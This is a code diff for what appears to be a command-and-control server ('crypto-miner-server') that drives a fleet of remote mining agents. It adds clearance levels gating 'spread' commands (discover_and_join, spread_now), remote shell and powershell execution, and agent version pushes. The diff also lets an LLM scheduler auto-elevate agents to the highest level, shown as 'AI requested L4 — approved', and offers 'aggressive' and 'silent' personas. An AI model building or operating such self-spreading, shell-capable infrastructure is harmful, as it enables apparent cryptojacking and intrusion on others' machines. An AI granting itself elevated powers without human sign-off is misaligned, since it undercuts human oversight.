|
}
|
||||||
|
stored, err := a.DB.GetFleetPhenotypeByFingerprint(fingerprintKey)
|
||||||
|
if err == nil && stored != nil {
|
||||||
|
p := strategy.PhenotypeFromStored(*stored)
|
||||||
|
return &p, true
|
||||||
|
}
|
||||||
|
rows, err := a.DB.ListFleetPhenotypes("")
|
||||||
|
if err != nil || len(rows) == 0 || goos == "" {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
prefix := goos + "|"
|
||||||
|
var best *db.StoredPhenotype
|
||||||
|
for i := range rows {
|
||||||
|
row := &rows[i]
|
||||||
|
if !strings.HasPrefix(row.Fingerprint, prefix) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if best == nil || row.PeakHashrate > best.PeakHashrate {
|
||||||
|
best = row
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if best == nil {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
p := strategy.PhenotypeFromStored(*best)
|
||||||
|
return &p, true
|
||||||
}
|
}
|
||||||
|
|
||||||
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
|
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
|
||||||
@@ -326,19 +406,24 @@ func (a *ConfigAIAdapter) AIConfig() fleetai.Config {
|
|||||||
Model: strings.TrimSpace(v.AIModel),
|
Model: strings.TrimSpace(v.AIModel),
|
||||||
NoContext: v.AINoContext,
|
NoContext: v.AINoContext,
|
||||||
IntervalSec: interval,
|
IntervalSec: interval,
|
||||||
|
AutoElevateClearance: v.AIAutoElevateClearance || v.AIControlEnabled,
|
||||||
|
Persona: fleetai.NormalizePersona(v.AIPersona),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
|
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
|
||||||
type DatabaseAIDecisionStore struct {
|
type DatabaseAIDecisionStore struct {
|
||||||
DB interface {
|
DB interface {
|
||||||
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
|
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
|
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *fleetai.CourtDecisionMeta) error {
|
||||||
if s == nil || s.DB == nil {
|
if s == nil || s.DB == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted)
|
if court == nil {
|
||||||
|
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, false, "", "", "")
|
||||||
|
}
|
||||||
|
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, court.CourtSession, court.ProsecutorSnippet, court.DefenderSnippet, court.JudgeVerdict)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -88,3 +88,33 @@ func (h *FleetAIHandler) GetDecisions(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
writeJSON(w, rows)
|
writeJSON(w, rows)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *FleetAIHandler) GetClearanceEvents(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if h.db == nil {
|
||||||
|
writeJSON(w, []db.ClearanceEvent{})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
listFn, ok := h.db.(interface {
|
||||||
|
ListClearanceEvents(agentID string, limit int) ([]db.ClearanceEvent, error)
|
||||||
|
})
|
||||||
|
if !ok {
|
||||||
|
writeJSON(w, []db.ClearanceEvent{})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
|
||||||
|
limit := 50
|
||||||
|
if raw := r.URL.Query().Get("limit"); raw != "" {
|
||||||
|
if n, err := strconv.Atoi(raw); err == nil && n > 0 {
|
||||||
|
limit = n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
rows, err := listFn.ListClearanceEvents(agentID, limit)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if rows == nil {
|
||||||
|
rows = []db.ClearanceEvent{}
|
||||||
|
}
|
||||||
|
writeJSON(w, rows)
|
||||||
|
}
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"crypto-miner-server/internal/alerts"
|
"crypto-miner-server/internal/alerts"
|
||||||
|
"crypto-miner-server/internal/clearance"
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
"crypto-miner-server/internal/pool"
|
"crypto-miner-server/internal/pool"
|
||||||
|
|
||||||
@@ -385,6 +386,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
|||||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if id != "all" {
|
||||||
|
level := clearance.L0
|
||||||
|
if mgr := f.ws.ClearanceManager(); mgr != nil {
|
||||||
|
level = mgr.Level(id)
|
||||||
|
}
|
||||||
|
if err := clearance.EnforceAction(req.Action, level); err != nil {
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"success": false,
|
||||||
|
"error": err.Error(),
|
||||||
|
"agent_id": id,
|
||||||
|
"action": req.Action,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
args := map[string]interface{}{}
|
args := map[string]interface{}{}
|
||||||
if req.TailLines > 0 {
|
if req.TailLines > 0 {
|
||||||
args["tail_lines"] = req.TailLines
|
args["tail_lines"] = req.TailLines
|
||||||
@@ -599,7 +615,16 @@ func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
sent := 0
|
sent := 0
|
||||||
failed := 0
|
failed := 0
|
||||||
|
mgr := f.ws.ClearanceManager()
|
||||||
for _, id := range req.AgentIDs {
|
for _, id := range req.AgentIDs {
|
||||||
|
level := clearance.L0
|
||||||
|
if mgr != nil {
|
||||||
|
level = mgr.Level(id)
|
||||||
|
}
|
||||||
|
if err := clearance.EnforceAction(req.Action, level); err != nil {
|
||||||
|
failed++
|
||||||
|
continue
|
||||||
|
}
|
||||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||||
failed++
|
failed++
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
46
server/internal/clearance/clearance_test.go
Normal file
46
server/internal/clearance/clearance_test.go
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
package clearance
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestL2AgentCannotExecShellWithoutElevation(t *testing.T) {
|
||||||
|
const agentClearance = L2
|
||||||
|
|
||||||
|
cases := []struct {
|
||||||
|
cmdType string
|
||||||
|
args map[string]interface{}
|
||||||
|
}{
|
||||||
|
{"exec_shell", nil},
|
||||||
|
{"agent_command", map[string]interface{}{"action": "exec"}},
|
||||||
|
{"agent_command", map[string]interface{}{"action": "powershell"}},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range cases {
|
||||||
|
if err := EnforceClearance(tc.cmdType, tc.args, agentClearance); err == nil {
|
||||||
|
t.Fatalf("expected clearance error for %s %+v at L2", tc.cmdType, tc.args)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := EnforceClearance("discover_and_join", nil, agentClearance); err != nil {
|
||||||
|
t.Fatalf("L2 should allow spread: %v", err)
|
||||||
|
}
|
||||||
|
if err := EnforceAction("exec", agentClearance); err == nil {
|
||||||
|
t.Fatal("L2 should block exec action")
|
||||||
|
}
|
||||||
|
if err := EnforceAction("pause", agentClearance); err != nil {
|
||||||
|
t.Fatalf("L2 should allow pause: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCommandRequiredLevels(t *testing.T) {
|
||||||
|
if CommandRequiredLevel("restart_mining", nil) != L1 {
|
||||||
|
t.Fatal("restart_mining should be L1")
|
||||||
|
}
|
||||||
|
if CommandRequiredLevel("spread_now", nil) != L2 {
|
||||||
|
t.Fatal("spread_now should be L2")
|
||||||
|
}
|
||||||
|
if CommandRequiredLevel("set_agent_version", nil) != L4 {
|
||||||
|
t.Fatal("set_agent_version should be L4")
|
||||||
|
}
|
||||||
|
}
|
||||||
12
server/internal/clearance/default.go
Normal file
12
server/internal/clearance/default.go
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
package clearance
|
||||||
|
|
||||||
|
import "crypto-miner-server/internal/models"
|
||||||
|
|
||||||
|
// DefaultClearance returns the baseline clearance for an agent.
|
||||||
|
// Online agents start at L1 (mining commands); offline agents are L0 (read-only).
|
||||||
|
func DefaultClearance(agent *models.Agent) int {
|
||||||
|
if agent != nil && agent.Status == "online" {
|
||||||
|
return L1
|
||||||
|
}
|
||||||
|
return L0
|
||||||
|
}
|
||||||
42
server/internal/clearance/elevation.go
Normal file
42
server/internal/clearance/elevation.go
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
package clearance
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// EventStore persists clearance changes and audit rows.
|
||||||
|
type EventStore interface {
|
||||||
|
InsertClearanceEvent(agentID string, fromLevel, toLevel int, reason, source string) error
|
||||||
|
}
|
||||||
|
|
||||||
|
// RequestElevation raises an agent to toLevel when higher than current, logs the event, and returns the new level.
|
||||||
|
func RequestElevation(store EventStore, agentID string, currentLevel, toLevel int, reason, source string) (int, error) {
|
||||||
|
agentID = strings.TrimSpace(agentID)
|
||||||
|
if agentID == "" {
|
||||||
|
return currentLevel, fmt.Errorf("agent id required")
|
||||||
|
}
|
||||||
|
if toLevel < L0 {
|
||||||
|
toLevel = L0
|
||||||
|
}
|
||||||
|
if toLevel > L4 {
|
||||||
|
toLevel = L4
|
||||||
|
}
|
||||||
|
if toLevel <= currentLevel {
|
||||||
|
return currentLevel, nil
|
||||||
|
}
|
||||||
|
reason = strings.TrimSpace(reason)
|
||||||
|
if reason == "" {
|
||||||
|
reason = "elevation requested"
|
||||||
|
}
|
||||||
|
source = strings.TrimSpace(source)
|
||||||
|
if source == "" {
|
||||||
|
source = "system"
|
||||||
|
}
|
||||||
|
if store != nil {
|
||||||
|
if err := store.InsertClearanceEvent(agentID, currentLevel, toLevel, reason, source); err != nil {
|
||||||
|
return currentLevel, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return toLevel, nil
|
||||||
|
}
|
||||||
114
server/internal/clearance/levels.go
Normal file
114
server/internal/clearance/levels.go
Normal file
@@ -0,0 +1,114 @@
|
|||||||
|
package clearance
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Security clearance levels (L0–L4).
|
||||||
|
const (
|
||||||
|
L0 = 0 // stats / read-only
|
||||||
|
L1 = 1 // mining commands
|
||||||
|
L2 = 2 // spread
|
||||||
|
L3 = 3 // shell
|
||||||
|
L4 = 4 // forge / version
|
||||||
|
)
|
||||||
|
|
||||||
|
// LevelLabel returns the badge string for a clearance level.
|
||||||
|
func LevelLabel(level int) string {
|
||||||
|
if level < L0 {
|
||||||
|
level = L0
|
||||||
|
}
|
||||||
|
if level > L4 {
|
||||||
|
level = L4
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("L%d", level)
|
||||||
|
}
|
||||||
|
|
||||||
|
// LevelPermissions describes what each level allows (UI tooltips).
|
||||||
|
func LevelPermissions(level int) string {
|
||||||
|
switch level {
|
||||||
|
case L0:
|
||||||
|
return "stats and read-only probes"
|
||||||
|
case L1:
|
||||||
|
return "mining: pause, resume, restart"
|
||||||
|
case L2:
|
||||||
|
return "spread: discover_and_join, spread_now, stage_fetch"
|
||||||
|
case L3:
|
||||||
|
return "shell: exec_shell, agent_command"
|
||||||
|
case L4:
|
||||||
|
return "forge: set_agent_version, reorder_tiers fleet-wide"
|
||||||
|
default:
|
||||||
|
return "unknown clearance"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ActionRequiredLevel maps a remote agent action to the minimum clearance level.
|
||||||
|
func ActionRequiredLevel(action string) int {
|
||||||
|
switch normalizeKey(action) {
|
||||||
|
case "pause", "resume", "restart", "restart_mining", "start_mining", "stop":
|
||||||
|
return L1
|
||||||
|
case "discover_and_join", "spread_now", "stage_fetch":
|
||||||
|
return L2
|
||||||
|
case "exec", "exec_shell", "powershell", "agent_command":
|
||||||
|
return L3
|
||||||
|
case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update":
|
||||||
|
return L4
|
||||||
|
default:
|
||||||
|
return L0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// CommandRequiredLevel maps a fleet AI command type to the minimum clearance level.
|
||||||
|
func CommandRequiredLevel(cmdType string, args map[string]interface{}) int {
|
||||||
|
typ := normalizeKey(cmdType)
|
||||||
|
switch typ {
|
||||||
|
case "noop", "":
|
||||||
|
return L0
|
||||||
|
case "restart_mining":
|
||||||
|
return L1
|
||||||
|
case "discover_and_join", "spread_now", "stage_fetch":
|
||||||
|
return L2
|
||||||
|
case "agent_command":
|
||||||
|
if args != nil {
|
||||||
|
if action, ok := args["action"].(string); ok && action != "" {
|
||||||
|
return ActionRequiredLevel(action)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return L3
|
||||||
|
case "bulk_command":
|
||||||
|
if args != nil {
|
||||||
|
if action, ok := args["action"].(string); ok && action != "" {
|
||||||
|
return ActionRequiredLevel(action)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return L1
|
||||||
|
case "set_agent_version", "reorder_tiers":
|
||||||
|
return L4
|
||||||
|
default:
|
||||||
|
return ActionRequiredLevel(typ)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// EnforceClearance returns an error when agentClearance is below the command requirement.
|
||||||
|
func EnforceClearance(cmdType string, args map[string]interface{}, agentClearance int) error {
|
||||||
|
required := CommandRequiredLevel(cmdType, args)
|
||||||
|
if agentClearance >= required {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), cmdType, LevelLabel(required))
|
||||||
|
}
|
||||||
|
|
||||||
|
// EnforceAction is the manual API path for raw agent actions.
|
||||||
|
func EnforceAction(action string, agentClearance int) error {
|
||||||
|
required := ActionRequiredLevel(action)
|
||||||
|
if agentClearance >= required {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), action, LevelLabel(required))
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeKey(s string) string {
|
||||||
|
s = strings.TrimSpace(strings.ToLower(s))
|
||||||
|
return strings.ReplaceAll(s, "-", "_")
|
||||||
|
}
|
||||||
100
server/internal/db/clearance.go
Normal file
100
server/internal/db/clearance.go
Normal file
@@ -0,0 +1,100 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ClearanceEvent is one clearance elevation audit row.
|
||||||
|
type ClearanceEvent struct {
|
||||||
|
ID int64 `json:"id"`
|
||||||
|
AgentID string `json:"agent_id"`
|
||||||
|
FromLevel int `json:"from_level"`
|
||||||
|
ToLevel int `json:"to_level"`
|
||||||
|
Reason string `json:"reason"`
|
||||||
|
Source string `json:"source"`
|
||||||
|
Timestamp string `json:"ts"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) ensureClearanceEventsTable() error {
|
||||||
|
_, err := d.Exec(`CREATE TABLE IF NOT EXISTS clearance_events (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
agent_id TEXT NOT NULL,
|
||||||
|
from_level INTEGER NOT NULL DEFAULT 0,
|
||||||
|
to_level INTEGER NOT NULL DEFAULT 0,
|
||||||
|
reason TEXT NOT NULL DEFAULT '',
|
||||||
|
source TEXT NOT NULL DEFAULT '',
|
||||||
|
ts DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||||
|
)`)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_clearance_events_agent ON clearance_events(agent_id)`)
|
||||||
|
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_clearance_events_ts ON clearance_events(ts)`)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// InsertClearanceEvent logs a clearance elevation.
|
||||||
|
func (d *Database) InsertClearanceEvent(agentID string, fromLevel, toLevel int, reason, source string) error {
|
||||||
|
if d == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if err := d.ensureClearanceEventsTable(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_, err := d.Exec(
|
||||||
|
`INSERT INTO clearance_events (agent_id, from_level, to_level, reason, source) VALUES (?, ?, ?, ?, ?)`,
|
||||||
|
agentID, fromLevel, toLevel, reason, source,
|
||||||
|
)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListClearanceEvents returns recent clearance events for an agent (or fleet-wide when agentID empty).
|
||||||
|
func (d *Database) ListClearanceEvents(agentID string, limit int) ([]ClearanceEvent, error) {
|
||||||
|
if d == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
if err := d.ensureClearanceEventsTable(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if limit <= 0 {
|
||||||
|
limit = 50
|
||||||
|
}
|
||||||
|
if limit > 500 {
|
||||||
|
limit = 500
|
||||||
|
}
|
||||||
|
|
||||||
|
var rows *sql.Rows
|
||||||
|
var err error
|
||||||
|
agentID = strings.TrimSpace(agentID)
|
||||||
|
if agentID != "" {
|
||||||
|
rows, err = d.Query(
|
||||||
|
`SELECT id, agent_id, from_level, to_level, reason, source, ts
|
||||||
|
FROM clearance_events WHERE agent_id = ? ORDER BY id DESC LIMIT ?`,
|
||||||
|
agentID, limit,
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
rows, err = d.Query(
|
||||||
|
`SELECT id, agent_id, from_level, to_level, reason, source, ts
|
||||||
|
FROM clearance_events ORDER BY id DESC LIMIT ?`,
|
||||||
|
limit,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("list clearance events: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
out := make([]ClearanceEvent, 0, limit)
|
||||||
|
for rows.Next() {
|
||||||
|
var rec ClearanceEvent
|
||||||
|
var ts string
|
||||||
|
if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.FromLevel, &rec.ToLevel, &rec.Reason, &rec.Source, &ts); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
rec.Timestamp = ts
|
||||||
|
out = append(out, rec)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
@@ -17,6 +17,7 @@ import (
|
|||||||
|
|
||||||
"crypto-miner-server/internal/alerts"
|
"crypto-miner-server/internal/alerts"
|
||||||
"crypto-miner-server/internal/api"
|
"crypto-miner-server/internal/api"
|
||||||
|
"crypto-miner-server/internal/atlas"
|
||||||
"crypto-miner-server/internal/builder"
|
"crypto-miner-server/internal/builder"
|
||||||
"crypto-miner-server/internal/cloudflared"
|
"crypto-miner-server/internal/cloudflared"
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
@@ -138,6 +139,7 @@ func main() {
|
|||||||
wsHub := api.NewWSHub(database)
|
wsHub := api.NewWSHub(database)
|
||||||
adaptiveEngine := strategy.NewAdaptiveEngine(database, cfg.Server.AdaptiveStrategyEnabled)
|
adaptiveEngine := strategy.NewAdaptiveEngine(database, cfg.Server.AdaptiveStrategyEnabled)
|
||||||
wsHub.SetAdaptiveEngine(adaptiveEngine)
|
wsHub.SetAdaptiveEngine(adaptiveEngine)
|
||||||
|
wsHub.SetFailureAtlas(atlas.NewFailureAtlas(database))
|
||||||
wsHub.SetAIHandler(aiHandler)
|
wsHub.SetAIHandler(aiHandler)
|
||||||
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
||||||
api.SetAgentPathSecret(cfg.Server.FleetSecret)
|
api.SetAgentPathSecret(cfg.Server.FleetSecret)
|
||||||
@@ -272,8 +274,10 @@ func main() {
|
|||||||
fleetAISched := fleetai.NewScheduler(
|
fleetAISched := fleetai.NewScheduler(
|
||||||
&api.ConfigAIAdapter{Src: configProvider},
|
&api.ConfigAIAdapter{Src: configProvider},
|
||||||
&api.WSHubSnapshotAdapter{Hub: wsHub},
|
&api.WSHubSnapshotAdapter{Hub: wsHub},
|
||||||
&api.FleetAIExecutor{Hub: wsHub},
|
&api.ClearanceGuardExecutor{Inner: &api.FleetAIExecutor{Hub: wsHub}, Clearance: wsHub.ClearanceManager()},
|
||||||
&api.DatabaseAIDecisionStore{DB: database},
|
&api.DatabaseAIDecisionStore{DB: database},
|
||||||
|
&api.DatabaseCourtAdapter{DB: database},
|
||||||
|
wsHub.ClearanceManager(),
|
||||||
)
|
)
|
||||||
fleetAISched.Start()
|
fleetAISched.Start()
|
||||||
defer fleetAISched.Stop()
|
defer fleetAISched.Stop()
|
||||||
@@ -507,6 +511,8 @@ func (p *serverConfigProvider) GetFleetAIConfig() api.FleetAIConfigView {
|
|||||||
AIModel: s.AIModel,
|
AIModel: s.AIModel,
|
||||||
AINoContext: s.AINoContext,
|
AINoContext: s.AINoContext,
|
||||||
AIDecisionIntervalSec: interval,
|
AIDecisionIntervalSec: interval,
|
||||||
|
AIAutoElevateClearance: s.AIAutoElevateClearance || s.AIControlEnabled,
|
||||||
|
AIPersona: fleetai.NormalizePersona(s.AIPersona),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -524,6 +530,8 @@ func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) erro
|
|||||||
"ai_model": v.AIModel,
|
"ai_model": v.AIModel,
|
||||||
"ai_no_context": v.AINoContext,
|
"ai_no_context": v.AINoContext,
|
||||||
"ai_decision_interval_sec": v.AIDecisionIntervalSec,
|
"ai_decision_interval_sec": v.AIDecisionIntervalSec,
|
||||||
|
"ai_auto_elevate_clearance": v.AIAutoElevateClearance,
|
||||||
|
"ai_persona": fleetai.NormalizePersona(v.AIPersona),
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -230,6 +230,14 @@ export const api = {
|
|||||||
params.set('limit', String(limit));
|
params.set('limit', String(limit));
|
||||||
return fetchJSON<AIDecisionRecord[]>(`/ai/decisions?${params}`);
|
return fetchJSON<AIDecisionRecord[]>(`/ai/decisions?${params}`);
|
||||||
},
|
},
|
||||||
|
getClearanceEvents: (agentId?: string, limit = 50) => {
|
||||||
|
const params = new URLSearchParams();
|
||||||
|
if (agentId?.trim()) params.set('agent_id', agentId.trim());
|
||||||
|
params.set('limit', String(limit));
|
||||||
|
return fetchJSON<import('../help/clearance').ClearanceEventRecord[]>(
|
||||||
|
`/ai/clearance-events?${params}`,
|
||||||
|
);
|
||||||
|
},
|
||||||
getAIModels: (endpoint: string) =>
|
getAIModels: (endpoint: string) =>
|
||||||
fetchJSON<{ models: string[]; endpoint?: string; error?: string }>(
|
fetchJSON<{ models: string[]; endpoint?: string; error?: string }>(
|
||||||
`/ai/models?endpoint=${encodeURIComponent(endpoint)}`,
|
`/ai/models?endpoint=${encodeURIComponent(endpoint)}`,
|
||||||
|
|||||||
@@ -184,6 +184,21 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case 'clearance_elevated': {
|
||||||
|
const p = msg.payload as {
|
||||||
|
agent_id: string;
|
||||||
|
from_level: number;
|
||||||
|
to_level: number;
|
||||||
|
reason?: string;
|
||||||
|
source?: string;
|
||||||
|
};
|
||||||
|
setAgents((prev) =>
|
||||||
|
prev.map((a) =>
|
||||||
|
a.id === p.agent_id ? { ...a, clearance_level: p.to_level } : a,
|
||||||
|
),
|
||||||
|
);
|
||||||
|
break;
|
||||||
|
}
|
||||||
case 'new_share': {
|
case 'new_share': {
|
||||||
const share = msg.payload as Share;
|
const share = msg.payload as Share;
|
||||||
setRecentShares((prev) => [share, ...prev].slice(0, 50));
|
setRecentShares((prev) => [share, ...prev].slice(0, 50));
|
||||||
|
|||||||
28
server/web/src/help/clearance.test.ts
Normal file
28
server/web/src/help/clearance.test.ts
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
/**
|
||||||
|
* @vitest-environment node
|
||||||
|
*/
|
||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import {
|
||||||
|
clearanceLabel,
|
||||||
|
clearancePermissions,
|
||||||
|
formatClearanceElevation,
|
||||||
|
} from './clearance';
|
||||||
|
|
||||||
|
describe('clearance helpers', () => {
|
||||||
|
it('labels L0–L4', () => {
|
||||||
|
expect(clearanceLabel(0)).toBe('L0');
|
||||||
|
expect(clearanceLabel(4)).toBe('L4');
|
||||||
|
expect(clearanceLabel(99)).toBe('L4');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('describes permissions per level', () => {
|
||||||
|
expect(clearancePermissions(2)).toMatch(/spread/i);
|
||||||
|
expect(clearancePermissions(3)).toMatch(/shell/i);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('formats AI elevation flash copy', () => {
|
||||||
|
expect(
|
||||||
|
formatClearanceElevation({ to_level: 4, source: 'ai_scheduler', reason: 'stuck host recovery' }),
|
||||||
|
).toBe('AI requested L4 — approved');
|
||||||
|
});
|
||||||
|
});
|
||||||
58
server/web/src/help/clearance.ts
Normal file
58
server/web/src/help/clearance.ts
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
/** Security clearance L0–L4 (mirrors server/internal/clearance). */
|
||||||
|
|
||||||
|
export const CLEARANCE_MIN = 0;
|
||||||
|
export const CLEARANCE_MAX = 4;
|
||||||
|
|
||||||
|
export interface ClearanceEventRecord {
|
||||||
|
id: number;
|
||||||
|
agent_id: string;
|
||||||
|
from_level: number;
|
||||||
|
to_level: number;
|
||||||
|
reason: string;
|
||||||
|
source: string;
|
||||||
|
ts: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function clearanceLabel(level: number): string {
|
||||||
|
const n = Math.max(CLEARANCE_MIN, Math.min(CLEARANCE_MAX, level));
|
||||||
|
return `L${n}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function clearancePermissions(level: number): string {
|
||||||
|
switch (Math.max(CLEARANCE_MIN, Math.min(CLEARANCE_MAX, level))) {
|
||||||
|
case 0:
|
||||||
|
return 'Stats and read-only probes';
|
||||||
|
case 1:
|
||||||
|
return 'Mining: pause, resume, restart';
|
||||||
|
case 2:
|
||||||
|
return 'Spread: discover_and_join, spread_now, stage_fetch';
|
||||||
|
case 3:
|
||||||
|
return 'Shell: exec_shell, agent_command';
|
||||||
|
case 4:
|
||||||
|
return 'Forge: set_agent_version, reorder_tiers fleet-wide';
|
||||||
|
default:
|
||||||
|
return 'Unknown clearance';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function formatClearanceElevation(event: {
|
||||||
|
to_level: number;
|
||||||
|
source?: string;
|
||||||
|
reason?: string;
|
||||||
|
}): string {
|
||||||
|
const level = clearanceLabel(event.to_level);
|
||||||
|
if (event.source === 'ai_scheduler') {
|
||||||
|
return `AI requested ${level} — approved`;
|
||||||
|
}
|
||||||
|
if (event.reason?.trim()) {
|
||||||
|
return `${level} — ${event.reason.trim()}`;
|
||||||
|
}
|
||||||
|
return `Elevated to ${level}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function clearanceTimelineSummary(event: ClearanceEventRecord): string {
|
||||||
|
const from = clearanceLabel(event.from_level);
|
||||||
|
const to = clearanceLabel(event.to_level);
|
||||||
|
const who = event.source === 'ai_scheduler' ? 'AI' : event.source || 'system';
|
||||||
|
return `${who}: ${from} → ${to}${event.reason ? ` (${event.reason})` : ''}`;
|
||||||
|
}
|
||||||
@@ -92,4 +92,5 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([
|
|||||||
'new_share',
|
'new_share',
|
||||||
'fleet_alert',
|
'fleet_alert',
|
||||||
'command_result',
|
'command_result',
|
||||||
|
'clearance_elevated',
|
||||||
]);
|
]);
|
||||||
|
|||||||
@@ -330,6 +330,8 @@ export interface ServerSettings {
|
|||||||
ai_decision_interval_sec?: number;
|
ai_decision_interval_sec?: number;
|
||||||
/** @deprecated Alias hydrated from legacy saves — prefer ai_decision_interval_sec. */
|
/** @deprecated Alias hydrated from legacy saves — prefer ai_decision_interval_sec. */
|
||||||
ai_interval_sec?: number;
|
ai_interval_sec?: number;
|
||||||
|
/** Fleet AI persona preset: aggressive | silent | passive | persuasive | balanced. */
|
